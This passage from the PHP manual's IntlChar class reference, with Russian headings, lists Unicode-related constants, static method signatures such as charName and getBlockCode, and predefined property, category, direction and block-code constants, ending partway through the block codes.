public const int JG_MANICHAEAN_SAMEKH;
public const int JG_MANICHAEAN_TAW;
public const int JG_MANICHAEAN_TEN;
public const int JG_MANICHAEAN_TETH;
public const int JG_MANICHAEAN_THAMEDH;
public const int JG_MANICHAEAN_TWENTY;
public const int JG_MANICHAEAN_WAW;
public const int JG_MANICHAEAN_YODH;
public const int JG_MANICHAEAN_ZAYIN;
public const int JG_STRAIGHT_WAW;
public const int JG_COUNT;
public const int GCB_OTHER;
public const int GCB_CONTROL;
public const int GCB_CR;
public const int GCB_EXTEND;
public const int GCB_L;
public const int GCB_LF;
public const int GCB_LV;
public const int GCB_LVT;
public const int GCB_T;
public const int GCB_V;
public const int GCB_SPACING_MARK;
public const int GCB_PREPEND;
public const int GCB_REGIONAL_INDICATOR;
public const int GCB_COUNT;
public const int WB_OTHER;
public const int WB_ALETTER;
public const int WB_FORMAT;
public const int WB_KATAKANA;
public const int WB_MIDLETTER;
public const int WB_MIDNUM;
public const int WB_NUMERIC;
public const int WB_EXTENDNUMLET;
public const int WB_CR;
public const int WB_EXTEND;
public const int WB_LF;
public const int WB_MIDNUMLET;
public const int WB_NEWLINE;
public const int WB_REGIONAL_INDICATOR;
public const int WB_HEBREW_LETTER;
public const int WB_SINGLE_QUOTE;
public const int WB_DOUBLE_QUOTE;
public const int WB_COUNT;
public const int SB_OTHER;
public const int SB_ATERM;
public const int SB_CLOSE;
public const int SB_FORMAT;
public const int SB_LOWER;
public const int SB_NUMERIC;
public const int SB_OLETTER;
public const int SB_SEP;
public const int SB_SP;
public const int SB_STERM;
public const int SB_UPPER;
public const int SB_CR;
public const int SB_EXTEND;
public const int SB_LF;
public const int SB_SCONTINUE;
public const int SB_COUNT;
public const int LB_UNKNOWN;
public const int LB_AMBIGUOUS;
public const int LB_ALPHABETIC;
public const int LB_BREAK_BOTH;
public const int LB_BREAK_AFTER;
public const int LB_BREAK_BEFORE;
public const int LB_MANDATORY_BREAK;
public const int LB_CONTINGENT_BREAK;
public const int LB_CLOSE_PUNCTUATION;
public const int LB_COMBINING_MARK;
public const int LB_CARRIAGE_RETURN;
public const int LB_EXCLAMATION;
public const int LB_GLUE;
public const int LB_HYPHEN;
public const int LB_IDEOGRAPHIC;
public const int LB_INSEPARABLE;
public const int LB_INSEPERABLE;
public const int LB_INFIX_NUMERIC;
public const int LB_LINE_FEED;
public const int LB_NONSTARTER;
public const int LB_NUMERIC;
public const int LB_OPEN_PUNCTUATION;
public const int LB_POSTFIX_NUMERIC;
public const int LB_PREFIX_NUMERIC;
public const int LB_QUOTATION;
public const int LB_COMPLEX_CONTEXT;
public const int LB_SURROGATE;
public const int LB_SPACE;
public const int LB_BREAK_SYMBOLS;
public const int LB_ZWSPACE;
public const int LB_NEXT_LINE;
public const int LB_WORD_JOINER;
public const int LB_H2;
public const int LB_H3;
public const int LB_JL;
public const int LB_JT;
public const int LB_JV;
public const int LB_CLOSE_PARENTHESIS;
public const int LB_CONDITIONAL_JAPANESE_STARTER;
public const int LB_HEBREW_LETTER;
public const int LB_REGIONAL_INDICATOR;
public const int LB_COUNT;
public const int NT_NONE;
public const int NT_DECIMAL;
public const int NT_DIGIT;
public const int NT_NUMERIC;
public const int NT_COUNT;
public const int HST_NOT_APPLICABLE;
public const int HST_LEADING_JAMO;
public const int HST_VOWEL_JAMO;
public const int HST_TRAILING_JAMO;
public const int HST_LV_SYLLABLE;
public const int HST_LVT_SYLLABLE;
public const int HST_COUNT;
public const int FOLD_CASE_DEFAULT;
public const int FOLD_CASE_EXCLUDE_SPECIAL_I;
/* Методы */
public static charAge(int|string $codepoint): ?array
public static charDigitValue(int|string $codepoint): ?int
public static charDirection(int|string $codepoint): ?int
public static charFromName(string $name, int $type = IntlChar::UNICODE_CHAR_NAME): ?int
public static charMirror(int|string $codepoint): int|string|null
public static charName(int|string $codepoint, int $type = IntlChar::UNICODE_CHAR_NAME): ?string
public static charType(int|string $codepoint): ?int
public static chr(int|string $codepoint): ?string
public static digit(int|string $codepoint, int $base = 10): int|false|null
public static enumCharNames(
int|string $start,
int|string $end,
callable $callback,
int $type = IntlChar::UNICODE_CHAR_NAME
): ?bool
public static enumCharTypes(callable $callback): void
public static foldCase(int|string $codepoint, int $options = IntlChar::FOLD_CASE_DEFAULT): int|string|null
public static forDigit(int $digit, int $base = 10): int
public static getBidiPairedBracket(int|string $codepoint): int|string|null
public static getBlockCode(int|string $codepoint): ?int
public static getCombiningClass(int|string $codepoint): ?int
public static getFC_NFKC_Closure(int|string $codepoint): string|false|null
public static getIntPropertyMaxValue(int $property): int
public static getIntPropertyMinValue(int $property): int
public static getIntPropertyValue(int|string $codepoint, int $property): ?int
public static getNumericValue(int|string $codepoint): ?float
public static getPropertyEnum(string $alias): int
public static getPropertyName(int $property, int $type = IntlChar::LONG_PROPERTY_NAME): string|false
public static getPropertyValueEnum(int $property, string $name): int
public static getPropertyValueName(int $property, int $value, int $type = IntlChar::LONG_PROPERTY_NAME): string|false
public static getUnicodeVersion(): array
public static hasBinaryProperty(int|string $codepoint, int $property): ?bool
public static isalnum(int|string $codepoint): ?bool
public static isalpha(int|string $codepoint): ?bool
public static isbase(int|string $codepoint): ?bool
public static isblank(int|string $codepoint): ?bool
public static iscntrl(int|string $codepoint): ?bool
public static isdefined(int|string $codepoint): ?bool
public static isdigit(int|string $codepoint): ?bool
public static isgraph(int|string $codepoint): ?bool
public static isIDIgnorable(int|string $codepoint): ?bool
public static isIDPart(int|string $codepoint): ?bool
public static isIDStart(int|string $codepoint): ?bool
public static isISOControl(int|string $codepoint): ?bool
public static isJavaIDPart(int|string $codepoint): ?bool
public static isJavaIDStart(int|string $codepoint): ?bool
public static isJavaSpaceChar(int|string $codepoint): ?bool
public static islower(int|string $codepoint): ?bool
public static isMirrored(int|string $codepoint): ?bool
public static isprint(int|string $codepoint): ?bool
public static ispunct(int|string $codepoint): ?bool
public static isspace(int|string $codepoint): ?bool
public static istitle(int|string $codepoint): ?bool
public static isUAlphabetic(int|string $codepoint): ?bool
public static isULowercase(int|string $codepoint): ?bool
public static isupper(int|string $codepoint): ?bool
public static isUUppercase(int|string $codepoint): ?bool
public static isUWhiteSpace(int|string $codepoint): ?bool
public static isWhitespace(int|string $codepoint): ?bool
public static isxdigit(int|string $codepoint): ?bool
public static ord(int|string $character): ?int
public static tolower(int|string $codepoint): int|string|null
public static totitle(int|string $codepoint): int|string|null
public static toupper(int|string $codepoint): int|string|null
}

Предопределённые константы

IntlChar::UNICODE_VERSION

IntlChar::CODEPOINT_MIN

IntlChar::CODEPOINT_MAX

IntlChar::NO_NUMERIC_VALUE

Special value that is returned by IntlChar::getNumericValue() when no numeric value is defined for a code point.

IntlChar::PROPERTY_ALPHABETIC

IntlChar::PROPERTY_BINARY_START

IntlChar::PROPERTY_ASCII_HEX_DIGIT

IntlChar::PROPERTY_BIDI_CONTROL

IntlChar::PROPERTY_BIDI_MIRRORED

IntlChar::PROPERTY_DASH

IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

IntlChar::PROPERTY_DEPRECATED

IntlChar::PROPERTY_DIACRITIC

IntlChar::PROPERTY_EXTENDER

IntlChar::PROPERTY_FULL_COMPOSITION_EXCLUSION

IntlChar::PROPERTY_GRAPHEME_BASE

IntlChar::PROPERTY_GRAPHEME_EXTEND

IntlChar::PROPERTY_GRAPHEME_LINK

IntlChar::PROPERTY_HEX_DIGIT

IntlChar::PROPERTY_HYPHEN

IntlChar::PROPERTY_ID_CONTINUE

IntlChar::PROPERTY_ID_START

IntlChar::PROPERTY_IDEOGRAPHIC

IntlChar::PROPERTY_IDS_BINARY_OPERATOR

IntlChar::PROPERTY_IDS_TRINARY_OPERATOR

IntlChar::PROPERTY_JOIN_CONTROL

IntlChar::PROPERTY_LOGICAL_ORDER_EXCEPTION

IntlChar::PROPERTY_LOWERCASE

IntlChar::PROPERTY_MATH

IntlChar::PROPERTY_NONCHARACTER_CODE_POINT

IntlChar::PROPERTY_QUOTATION_MARK

IntlChar::PROPERTY_RADICAL

IntlChar::PROPERTY_SOFT_DOTTED

IntlChar::PROPERTY_TERMINAL_PUNCTUATION

IntlChar::PROPERTY_UNIFIED_IDEOGRAPH

IntlChar::PROPERTY_UPPERCASE

IntlChar::PROPERTY_WHITE_SPACE

IntlChar::PROPERTY_XID_CONTINUE

IntlChar::PROPERTY_XID_START

IntlChar::PROPERTY_CASE_SENSITIVE

IntlChar::PROPERTY_S_TERM

IntlChar::PROPERTY_VARIATION_SELECTOR

IntlChar::PROPERTY_NFD_INERT

IntlChar::PROPERTY_NFKD_INERT

IntlChar::PROPERTY_NFC_INERT

IntlChar::PROPERTY_NFKC_INERT

IntlChar::PROPERTY_SEGMENT_STARTER

IntlChar::PROPERTY_PATTERN_SYNTAX

IntlChar::PROPERTY_PATTERN_WHITE_SPACE

IntlChar::PROPERTY_POSIX_ALNUM

IntlChar::PROPERTY_POSIX_BLANK

IntlChar::PROPERTY_POSIX_GRAPH

IntlChar::PROPERTY_POSIX_PRINT

IntlChar::PROPERTY_POSIX_XDIGIT

IntlChar::PROPERTY_CASED

IntlChar::PROPERTY_CASE_IGNORABLE

IntlChar::PROPERTY_CHANGES_WHEN_LOWERCASED

IntlChar::PROPERTY_CHANGES_WHEN_UPPERCASED

IntlChar::PROPERTY_CHANGES_WHEN_TITLECASED

IntlChar::PROPERTY_CHANGES_WHEN_CASEFOLDED

IntlChar::PROPERTY_CHANGES_WHEN_CASEMAPPED

IntlChar::PROPERTY_CHANGES_WHEN_NFKC_CASEFOLDED

IntlChar::PROPERTY_BINARY_LIMIT

IntlChar::PROPERTY_BIDI_CLASS

IntlChar::PROPERTY_INT_START

IntlChar::PROPERTY_BLOCK

IntlChar::PROPERTY_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_DECOMPOSITION_TYPE

IntlChar::PROPERTY_EAST_ASIAN_WIDTH

IntlChar::PROPERTY_GENERAL_CATEGORY

IntlChar::PROPERTY_JOINING_GROUP

IntlChar::PROPERTY_JOINING_TYPE

IntlChar::PROPERTY_LINE_BREAK

IntlChar::PROPERTY_NUMERIC_TYPE

IntlChar::PROPERTY_SCRIPT

IntlChar::PROPERTY_HANGUL_SYLLABLE_TYPE

IntlChar::PROPERTY_NFD_QUICK_CHECK

IntlChar::PROPERTY_NFKD_QUICK_CHECK

IntlChar::PROPERTY_NFC_QUICK_CHECK

IntlChar::PROPERTY_NFKC_QUICK_CHECK

IntlChar::PROPERTY_LEAD_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_TRAIL_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_GRAPHEME_CLUSTER_BREAK

IntlChar::PROPERTY_SENTENCE_BREAK

IntlChar::PROPERTY_WORD_BREAK

IntlChar::PROPERTY_BIDI_PAIRED_BRACKET_TYPE

IntlChar::PROPERTY_INT_LIMIT

IntlChar::PROPERTY_GENERAL_CATEGORY_MASK

IntlChar::PROPERTY_MASK_START

IntlChar::PROPERTY_MASK_LIMIT

IntlChar::PROPERTY_NUMERIC_VALUE

IntlChar::PROPERTY_DOUBLE_START

IntlChar::PROPERTY_DOUBLE_LIMIT

IntlChar::PROPERTY_AGE

IntlChar::PROPERTY_STRING_START

IntlChar::PROPERTY_BIDI_MIRRORING_GLYPH

IntlChar::PROPERTY_CASE_FOLDING

IntlChar::PROPERTY_ISO_COMMENT

IntlChar::PROPERTY_LOWERCASE_MAPPING

IntlChar::PROPERTY_NAME

IntlChar::PROPERTY_SIMPLE_CASE_FOLDING

IntlChar::PROPERTY_SIMPLE_LOWERCASE_MAPPING

IntlChar::PROPERTY_SIMPLE_TITLECASE_MAPPING

IntlChar::PROPERTY_SIMPLE_UPPERCASE_MAPPING

IntlChar::PROPERTY_TITLECASE_MAPPING

IntlChar::PROPERTY_UNICODE_1_NAME

IntlChar::PROPERTY_UPPERCASE_MAPPING

IntlChar::PROPERTY_BIDI_PAIRED_BRACKET

IntlChar::PROPERTY_STRING_LIMIT

IntlChar::PROPERTY_SCRIPT_EXTENSIONS

IntlChar::PROPERTY_OTHER_PROPERTY_START

IntlChar::PROPERTY_OTHER_PROPERTY_LIMIT

IntlChar::PROPERTY_INVALID_CODE

IntlChar::CHAR_CATEGORY_UNASSIGNED

IntlChar::CHAR_CATEGORY_GENERAL_OTHER_TYPES

IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER

IntlChar::CHAR_CATEGORY_LOWERCASE_LETTER

IntlChar::CHAR_CATEGORY_TITLECASE_LETTER

IntlChar::CHAR_CATEGORY_MODIFIER_LETTER

IntlChar::CHAR_CATEGORY_OTHER_LETTER

IntlChar::CHAR_CATEGORY_NON_SPACING_MARK

IntlChar::CHAR_CATEGORY_ENCLOSING_MARK

IntlChar::CHAR_CATEGORY_COMBINING_SPACING_MARK

IntlChar::CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER

IntlChar::CHAR_CATEGORY_LETTER_NUMBER

IntlChar::CHAR_CATEGORY_OTHER_NUMBER

IntlChar::CHAR_CATEGORY_SPACE_SEPARATOR

IntlChar::CHAR_CATEGORY_LINE_SEPARATOR

IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR

IntlChar::CHAR_CATEGORY_CONTROL_CHAR

IntlChar::CHAR_CATEGORY_FORMAT_CHAR

IntlChar::CHAR_CATEGORY_PRIVATE_USE_CHAR

IntlChar::CHAR_CATEGORY_SURROGATE

IntlChar::CHAR_CATEGORY_DASH_PUNCTUATION

IntlChar::CHAR_CATEGORY_START_PUNCTUATION

IntlChar::CHAR_CATEGORY_END_PUNCTUATION

IntlChar::CHAR_CATEGORY_CONNECTOR_PUNCTUATION

IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION

IntlChar::CHAR_CATEGORY_MATH_SYMBOL

IntlChar::CHAR_CATEGORY_CURRENCY_SYMBOL

IntlChar::CHAR_CATEGORY_MODIFIER_SYMBOL

IntlChar::CHAR_CATEGORY_OTHER_SYMBOL

IntlChar::CHAR_CATEGORY_INITIAL_PUNCTUATION

IntlChar::CHAR_CATEGORY_FINAL_PUNCTUATION

IntlChar::CHAR_CATEGORY_CHAR_CATEGORY_COUNT

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR

IntlChar::CHAR_DIRECTION_ARABIC_NUMBER

IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR

IntlChar::CHAR_DIRECTION_BLOCK_SEPARATOR

IntlChar::CHAR_DIRECTION_SEGMENT_SEPARATOR

IntlChar::CHAR_DIRECTION_WHITE_SPACE_NEUTRAL

IntlChar::CHAR_DIRECTION_OTHER_NEUTRAL

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE

IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT

IntlChar::CHAR_DIRECTION_DIR_NON_SPACING_MARK

IntlChar::CHAR_DIRECTION_BOUNDARY_NEUTRAL

IntlChar::CHAR_DIRECTION_FIRST_STRONG_ISOLATE

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE

IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE

IntlChar::CHAR_DIRECTION_CHAR_DIRECTION_COUNT

IntlChar::BLOCK_CODE_NO_BLOCK

IntlChar::BLOCK_CODE_BASIC_LATIN

IntlChar::BLOCK_CODE_LATIN_1_SUPPLEMENT

IntlChar::BLOCK_CODE_LATIN_EXTENDED_A

IntlChar::BLOCK_CODE_LATIN_EXTENDED_B

IntlChar::BLOCK_CODE_IPA_EXTENSIONS

IntlChar::BLOCK_CODE_SPACING_MODIFIER_LETTERS

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS

IntlChar::BLOCK_CODE_GREEK

IntlChar::BLOCK_CODE_CYRILLIC

IntlChar::BLOCK_CODE_ARMENIAN

IntlChar::BLOCK_CODE_HEBREW

IntlChar::BLOCK_CODE_ARABIC

IntlChar::BLOCK_CODE_SYRIAC

IntlChar::BLOCK_CODE_THAANA

IntlChar::BLOCK_CODE_DEVANAGARI

IntlChar::BLOCK_CODE_BENGALI

IntlChar::BLOCK_CODE_GURMUKHI

IntlChar::BLOCK_CODE_GUJARATI

IntlChar::BLOCK_CODE_ORIYA

IntlChar::BLOCK_CODE_TAMIL

IntlChar::BLOCK_CODE_TELUGU

IntlChar::BLOCK_CODE_KANNADA

IntlChar::BLOCK_CODE_MALAYALAM

IntlChar::BLOCK_CODE_SINHALA

IntlChar::BLOCK_CODE_THAI

IntlChar::BLOCK_CODE_LAO

IntlChar::BLOCK_CODE_TIBETAN

IntlChar::BLOCK_CODE_MYANMAR

IntlChar::BLOCK_CODE_GEORGIAN

IntlChar::BLOCK_CODE_HANGUL_JAMO

IntlChar::BLOCK_CODE_ETHIOPIC

IntlChar::BLOCK_CODE_CHEROKEE

IntlChar::BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS

IntlChar::BLOCK_CODE_OGHAM

IntlChar::BLOCK_CODE_RUNIC

IntlChar::BLOCK_CODE_KHMER

IntlChar::BLOCK_CODE_MONGOLIAN

IntlChar::BLOCK_CODE_LATIN_EXTENDED_ADDITIONAL

IntlChar::BLOCK_CODE_GREEK_EXTENDED

IntlChar::BLOCK_CODE_GENERAL_PUNCTUATION

IntlChar::BLOCK_CODE_SUPERSCRIPTS_AND_SUBSCRIPTS

IntlChar::BLOCK_CODE_CURRENCY_SYMBOLS

IntlChar::BLOCK_CODE_COMBINING_MARKS_FOR_SYMBOLS

IntlChar::BLOCK_CODE_LETTERLIKE_SYMBOLS

IntlChar::BLOCK_CODE_NUMBER_FORMS

IntlChar::BLOCK_CODE_ARROWS

IntlChar::BLOCK_CODE_MATHEMATICAL_OPERATORS

IntlChar::BLOCK_CODE_MISCELLANEOUS_TECHNICAL

IntlChar::BLOCK_CODE_CONTROL_PICTURES

IntlChar::BLOCK_CODE_OPTICAL_CHARACTER_RECOGNITION

IntlChar::BLOCK_CODE_ENCLOSED_ALPHANUMERICS

IntlChar::BLOCK_CODE_BOX_DRAWING

IntlChar::BLOCK_CODE_BLOCK_ELEMENTS

IntlChar::BLOCK_CODE_GEOMETRIC_SHAPES

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS

IntlChar::BLOCK_CODE_DINGBATS

IntlChar::BLOCK_CODE_BRAILLE_PATTERNS

IntlChar::BLOCK_CODE_CJK_RADICALS_SUPPLEMENT

IntlChar::BLOCK_CODE_KANGXI_RADICALS

IntlChar::BLOCK_CODE_IDEOGRAPHIC_DESCRIPTION_CHARACTERS

IntlChar::BLOCK_CODE_CJK_SYMBOLS_AND_PUNCTUATION

IntlChar::BLOCK_CODE_HIRAGANA

IntlChar::BLOCK_CODE_KATAKANA

IntlChar::BLOCK_CODE_BOPOMOFO

IntlChar::BLOCK_CODE_HANGUL_COMPATIBILITY_JAMO

IntlChar::BLOCK_CODE_KANBUN

IntlChar::BLOCK_CODE_BOPOMOFO_EXTENDED

IntlChar::BLOCK_CODE_ENCLOSED_CJK_LETTERS_AND_MONTHS

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS

IntlChar::BLOCK_CODE_YI_SYLLABLES

IntlChar::BLOCK_CODE_YI_RADICALS

IntlChar::BLOCK_CODE_HANGUL_SYLLABLES

IntlChar::BLOCK_CODE_HIGH_SURROGATES

IntlChar::BLOCK_CODE_HIGH_PRIVATE_USE_SURROGATES

IntlChar::BLOCK_CODE_LOW_SURROGATES

IntlChar::BLOCK_CODE_PRIVATE_USE_AREA

IntlChar::BLOCK_CODE_PRIVATE_USE

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS

IntlChar::BLOCK_CODE_ALPHABETIC_PRESENTATION_FORMS

IntlChar::BLOCK_CODE_ARABIC_PRESENTATION_FORMS_A

IntlChar::BLOCK_CODE_COMBINING_HALF_MARKS

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_FORMS

IntlChar::BLOCK_CODE_SMALL_FORM_VARIANTS

IntlChar::BLOCK_CODE_ARABIC_PRESENTATION_FORMS_B

IntlChar::BLOCK_CODE_SPECIALS

IntlChar::BLOCK_CODE_HALFWIDTH_AND_FULLWIDTH_FORMS

IntlChar::BLOCK_CODE_OLD_ITALIC

IntlChar::BLOCK_CODE_GOTHIC

IntlChar::BLOCK_CODE_DESERET

IntlChar::BLOCK_CODE_BYZANTINE_MUSICAL_SYMBOLS

IntlChar::BLOCK_CODE_MUSICAL_SYMBOLS

IntlChar::BLOCK_CODE_MATHEMATICAL_ALPHANUMERIC_SYMBOLS

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT

IntlChar::BLOCK_CODE_TAGS

IntlChar::BLOCK_CODE_CYRILLIC_SUPPLEMENT

IntlChar::BLOCK_CODE_CYRILLIC_SUPPLEMENTARY

IntlChar::BLOCK_CODE_TAGALOG

IntlChar::BLOCK_CODE_HANUNOO

IntlChar::BLOCK_CODE_BUHID

IntlChar::BLOCK_CODE_TAGBANWA

IntlChar::BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_A

IntlChar::BLOCK_CODE_SUPPLEMENTAL_ARROWS_B

IntlChar::BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B

IntlChar::BLOCK_CODE_SUPPLEMENTAL_MATHEMATICAL_OPERATORS

IntlChar::BLOCK_CODE_KATAKANA_PHONETIC_EXTENSIONS

IntlChar::BLOCK_CODE_VARIATION_SELECTORS

IntlChar::BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_A

IntlChar::BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_B

IntlChar::BLOCK_CODE_LIMBU

IntlChar::BLOCK_CODE_TAI_LE

IntlChar::BLOCK_CODE_KHMER_SYMBOLS

IntlChar::BLOCK_CODE_PHONETIC_EXTENSIONS

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_ARROWS

IntlChar::BLOCK_CODE_YIJING_HEXAGRAM_SYMBOLS

IntlChar::BLOCK_CODE_LINEAR_B_SYLLABARY

IntlChar::BLOCK_CODE_LINEAR_B_IDEOGRAMS

IntlChar::BLOCK_CODE_AEGEAN_NUMBERS

IntlChar::BLOCK_CODE_UGARITIC

IntlChar::BLOCK_CODE_SHAVIAN

IntlChar::BLOCK_CODE_OSMANYA

IntlChar::BLOCK_CODE_CYPRIOT_SYLLABARY

IntlChar::BLOCK_CODE_TAI_XUAN_JING_SYMBOLS

IntlChar::BLOCK_CODE_VARIATION_SELECTORS_SUPPLEMENT

IntlChar::BLOCK_CODE_ANCIENT_GREEK_MUSICAL_NOTATION

IntlChar::BLOCK_CODE_ANCIENT_GREEK_NUMBERS

IntlChar::BLOCK_CODE_ARABIC_SUPPLEMENT

IntlChar::BLOCK_CODE_BUGINESE

IntlChar::BLOCK_CODE_CJK_STROKES

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_SUPPLEMENT

IntlChar::BLOCK_CODE_COPTIC

IntlChar::BLOCK_CODE_ETHIOPIC_EXTENDED

IntlChar::BLOCK_CODE_ETHIOPIC_SUPPLEMENT

IntlChar::BLOCK_CODE_GEORGIAN_SUPPLEMENT

IntlChar::BLOCK_CODE_GLAGOLITIC

IntlChar::BLOCK_CODE_KHAROSHTHI

IntlChar::BLOCK_CODE_MODIFIER_TONE_LETTERS

IntlChar::BLOCK_CODE_NEW_TAI_LUE

IntlChar::BLOCK_CODE_OLD_PERSIAN

IntlChar::BLOCK_CODE_PHONETIC_EXTENSIONS_SUPPLEMENT

IntlChar::BLOCK_CODE_SUPPLEMENTAL_PUNCTUATION

IntlChar::BLOCK_CODE_SYLOTI_NAGRI

IntlChar::BLOCK_CODE_TIFINAGH

IntlChar::BLOCK_CODE_VERTICAL_FORMS

IntlChar::BLOCK_CODE_NKO

IntlChar::BLOCK_CODE_BALINESE

IntlChar::BLOCK_CODE_LATIN_EXTENDED_C

IntlChar::BLOCK_CODE_LATIN_EXTENDED_D

IntlChar::BLOCK_CODE_PHAGS_PA

IntlChar::BLOCK_CODE_PHOENICIAN

IntlChar::BLOCK_CODE_CUNEIFORM

IntlChar::BLOCK_CODE_CUNEIFORM_NUMBERS_AND_PUNCTUATION

IntlChar::BLOCK_CODE_COUNTING_ROD_NUMERALS

IntlChar::BLOCK_CODE_SUNDANESE

IntlChar::BLOCK_CODE_LEPCHA

IntlChar::BLOCK_CODE_OL_CHIKI

IntlChar::BLOCK_CODE_CYRILLIC_EXTENDED_A

IntlChar::BLOCK_CODE_VAI

IntlChar::BLOCK_CODE_CYRILLIC_EXTENDED_B

IntlChar::BLOCK_CODE_SAURASHTRA

IntlChar::BLOCK_CODE_KAYAH_LI

IntlChar::BLOCK_CODE_REJANG

IntlChar::BLOCK_CODE_CHAM

IntlChar::BLOCK_CODE_ANCIENT_SYMBOLS

IntlChar::BLOCK_CODE_PHAISTOS_DISC

IntlChar::BLOCK_CODE_LYCIAN

IntlChar::BLOCK_CODE_CARIAN

IntlChar::BLOCK_CODE_LYDIAN

IntlChar::BLOCK_CODE_MAHJONG_TILES

IntlChar::BLOCK_CODE_DOMINO_TILES

IntlChar::BLOCK_CODE_SAMARITAN

IntlChar::BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED

IntlChar::BLOCK_CODE_TAI_THAM

IntlChar::BLOCK_CODE_VEDIC_EXTENSIONS

IntlChar::BLOCK_CODE_LISU

IntlChar::BLOCK_CODE_BAMUM

IntlChar::BLOCK_CODE_COMMON_INDIC_NUMBER_FORMS

IntlChar::BLOCK_CODE_DEVANAGARI_EXTENDED

IntlChar::BLOCK_CODE_HANGUL_JAMO_EXTENDED_A

IntlChar::BLOCK_CODE_JAVANESE

IntlChar::BLOCK_CODE_MYANMAR_EXTENDED_A

IntlChar::BLOCK_CODE_TAI_VIET

IntlChar::BLOCK_CODE_MEETEI_MAYEK

IntlChar::BLOCK_CODE_HANGUL_JAMO_EXTENDED_B

IntlChar::BLOCK_CODE_IMPERIAL_ARAMAIC

IntlChar::BLOCK_CODE_OLD_SOUTH_ARABIAN

IntlChar::BLOCK_CODE_AVESTAN

IntlChar::BLOCK_CODE_INSCRIPTIONAL_PARTHIAN

IntlChar::BLOCK_CODE_INSCRIPTIONAL_PAHLAVI

IntlChar::BLOCK_CODE_OLD_TURKIC

IntlChar::BLOCK_CODE_RUMI_NUMERAL_SYMBOLS

IntlChar::BLOCK_CODE_KAITHI

IntlChar::BLOCK_CODE_EGYPTIAN_HIEROGLYPHS

IntlChar::BLOCK_CODE_ENCLOSED_ALPHANUMERIC_SUPPLEMENT

IntlChar::BLOCK_CODE_ENCLOSED_IDEOGRAPHIC_SUPPLEMENT

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C

IntlChar::BLOCK_CODE_MANDAIC

IntlChar::BLOCK_CODE_BATAK

IntlChar::BLOCK_CODE_ETHIOPIC_EXTENDED_A

IntlChar::BLOCK_CODE_BRAHMI

IntlChar::BLOCK_CODE_BAMUM_SUPPLEMENT

IntlChar::BLOCK_CODE_KANA_SUPPLEMENT

IntlChar::BLOCK_CODE_PLAYING_CARDS

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS

IntlChar::BLOCK_CODE_EMOTICONS

IntlChar::BLOCK_CODE_TRANSPORT_AND_MAP_SYMBOLS

IntlChar::BLOCK_CODE_ALCHEMICAL_SYMBOLS

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D

IntlChar::BLOCK_CODE_ARABIC_EXTENDED_A

IntlChar::BLOCK_CODE_ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS

IntlChar::BLOCK_CODE_CHAKMA

IntlChar::BLOCK_CODE_MEETEI_MAYEK_EXTENSIONS

IntlChar::BLOCK_CODE_MEROITIC_CURSIVE

IntlChar::BLOCK_CODE_MEROITIC_HIEROGLYPHS

IntlChar::BLOCK_CODE_MIAO

IntlChar::BLOCK_CODE_SHARADA

IntlChar::BLOCK_CODE_SORA_SOMPENG

IntlChar::BLOCK_CODE_SUNDANESE_SUPPLEMENT

IntlChar::BLOCK_CODE_TAKRI

IntlChar::BLOCK_CODE_BASSA_VAH

IntlChar::BLOCK_CODE_CAUCASIAN_ALBANIAN

IntlChar::BLOCK_CODE_COPTIC_EPACT_NUMBERS

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_EXTENDED

IntlChar::BLOCK_CODE_DUPLOYAN

IntlChar::BLOCK_CODE_ELBASAN

IntlChar::BLOCK_CODE_GEOMETRIC_SHAPES_EXTENDED

